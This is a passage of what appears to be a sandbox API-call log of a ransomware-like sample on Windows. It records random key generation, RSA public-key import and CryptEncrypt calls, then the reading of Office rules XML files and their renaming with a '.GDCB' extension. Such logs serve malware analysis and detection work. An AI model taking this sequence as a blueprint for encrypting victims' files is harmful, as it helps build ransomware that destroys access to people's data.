dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0178.098] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.099] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.099] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0178.099] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0178.099] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0178.101] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691508) returned 1 [0178.101] CryptGetKeyParam (in: hKey=0x3691508, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0178.101] CryptEncrypt (in: hKey=0x3691508, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5460000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5460000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0178.101] GetLastError () returned 0x0 [0178.101] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.101] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0178.103] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x36911c8) returned 1 [0178.103] CryptGetKeyParam (in: hKey=0x36911c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0178.103] CryptEncrypt (in: hKey=0x36911c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5470000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5470000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0178.103] GetLastError () returned 0x0 [0178.103] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.103] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\excel.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0178.105] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5480000 [0178.106] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5490000 [0178.106] ReadFile (in: hFile=0x514, lpBuffer=0x5490000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5490000*, lpNumberOfBytesRead=0x285d3e8*=0x3b8c2, lpOverlapped=0x0) returned 1 [0178.120] VirtualAlloc (lpAddress=0x0, dwSize=0x3b8d0, flAllocationType=0x3000, flProtect=0x4) returned 0x55a0000 [0178.129] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\excel.exe_rules.xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\excel.exe_rules.xml.gdcb")) returned 1 [0178.133] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0178.135] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.135] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.135] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0178.135] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0178.135] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0178.136] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.137] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.137] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0178.137] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0178.137] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0178.139] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691288) returned 1 [0178.139] CryptGetKeyParam (in: hKey=0x3691288, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0178.139] CryptEncrypt (in: hKey=0x3691288, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5460000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5460000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0178.139] GetLastError () returned 0x0 [0178.139] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.139] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0178.141] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691188) returned 1 [0178.141] CryptGetKeyParam (in: hKey=0x3691188, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0178.141] CryptEncrypt (in: hKey=0x3691188, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5470000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5470000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0178.142] GetLastError () returned 0x0 [0178.142] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0178.142] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\officec2rclient.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0178.143] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5480000 [0178.144] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5490000 [0178.145] ReadFile (in: hFile=0x514, lpBuffer=0x5490000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5490000*, lpNumberOfBytesRead=0x285d3e8*=0x61bb, lpOverlapped=0x0) returned 1 [0178.163] VirtualAlloc (lpAddress=0x0, dwSize=0x61c0, flAllocationType=0x3000, flProtect=0x4) returned 0x55a0000 [0178.168] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\officec2rclient.exe_rules.xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\officec2rclient.exe_rules.xml.gdcb")) returned 0 [0178.172] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0178.173] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.174] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.174] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0178.174] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0178.174] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0178.175] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.175] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.175] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0178.175] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0178.176] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4540) returned 1 [0178.178] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691308) returned 1 [0178.178] CryptGetKeyParam (in: hKey=0x3691308, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0178.178] CryptEncrypt (in: hKey=0x3691308, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5460000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5460000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0178.178] GetLastError () returned 0x0 [0178.178] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0178.178] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0178.180] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3690f48) returned 1 [0178.180] CryptGetKeyParam (in: hKey=0x3690f48, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0178.180] CryptEncrypt (in: hKey=0x3690f48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5470000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5470000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0178.180] GetLastError () returned 0x0 [0178.180] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0178.180] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\officeclicktorun.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0178.182] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5480000 [0178.183] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5490000 [0178.184] ReadFile (in: hFile=0x514, lpBuffer=0x5490000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5490000*, lpNumberOfBytesRead=0x285d3e8*=0x6a54, lpOverlapped=0x0) returned 1 [0178.217] VirtualAlloc (lpAddress=0x0, dwSize=0x6a60, flAllocationType=0x3000, flProtect=0x4) returned 0x55a0000 [0178.221] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\officeclicktorun.exe_rules.xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\officeclicktorun.exe_rules.xml.gdcb")) returned 0 [0178.226] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0178.227] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.228] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.228] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0178.228] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0178.228] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0178.229] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.230] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.230] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0178.230] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0178.230] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0178.232] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691548) returned 1 [0178.232] CryptGetKeyParam (in: hKey=0x3691548, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0178.232] CryptEncrypt (in: hKey=0x3691548, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5460000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5460000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0178.232] GetLastError () returned 0x0 [0178.232] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.232] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0178.234] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3690e08) returned 1 [0178.234] CryptGetKeyParam (in: hKey=0x3690e08, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0178.234] CryptEncrypt (in: hKey=0x3690e08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5470000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5470000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0178.234] GetLastError () returned 0x0 [0178.234] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.235] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\onenote.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\onenote.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0178.236] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5480000 [0178.237] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5490000 [0178.238] ReadFile (in: hFile=0x514, lpBuffer=0x5490000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5490000*, lpNumberOfBytesRead=0x285d3e8*=0x2cd1c, lpOverlapped=0x0) returned 1 [0178.269] VirtualAlloc (lpAddress=0x0, dwSize=0x2cd20, flAllocationType=0x3000, flProtect=0x4) returned 0x55a0000 [0178.276] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\onenote.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\onenote.exe_rules.xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\onenote.exe_Rules.xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\onenote.exe_rules.xml.gdcb")) returned 1 [0178.281] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0178.283] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.283] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.283] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0178.283] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.283] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0178.284] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.285] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.285] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0178.285] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0178.285] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0178.287] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3690e48) returned 1 [0178.287] CryptGetKeyParam (in: hKey=0x3690e48, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0178.287] CryptEncrypt (in: hKey=0x3690e48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5460000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5460000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0178.287] GetLastError () returned 0x0 [0178.287] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0178.287] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0178.289] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691588) returned 1 [0178.289] CryptGetKeyParam (in: hKey=0x3691588, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0178.289] CryptEncrypt (in: hKey=0x3691588, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5470000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5470000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0178.289] GetLastError () returned 0x0 [0178.289] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0178.289] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\outlook.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0178.291] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5480000 [0178.292] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5490000 [0178.293] ReadFile (in: hFile=0x514, lpBuffer=0x5490000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5490000*, lpNumberOfBytesRead=0x285d3e8*=0x38843, lpOverlapped=0x0) returned 1 [0178.337] VirtualAlloc (lpAddress=0x0, dwSize=0x38850, flAllocationType=0x3000, flProtect=0x4) returned 0x55a0000 [0178.347] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\outlook.exe_rules.xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\outlook.exe_rules.xml.gdcb")) returned 1 [0178.352] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0178.353] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.354] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.354] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0178.354] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0178.354] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0178.355] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.356] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.356] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0178.356] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.356] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0178.359] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3690e88) returned 1 [0178.359] CryptGetKeyParam (in: hKey=0x3690e88, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0178.359] CryptEncrypt (in: hKey=0x3690e88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5460000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5460000*, pdwDataLen=0x285d3a4*=0x100) returned 1 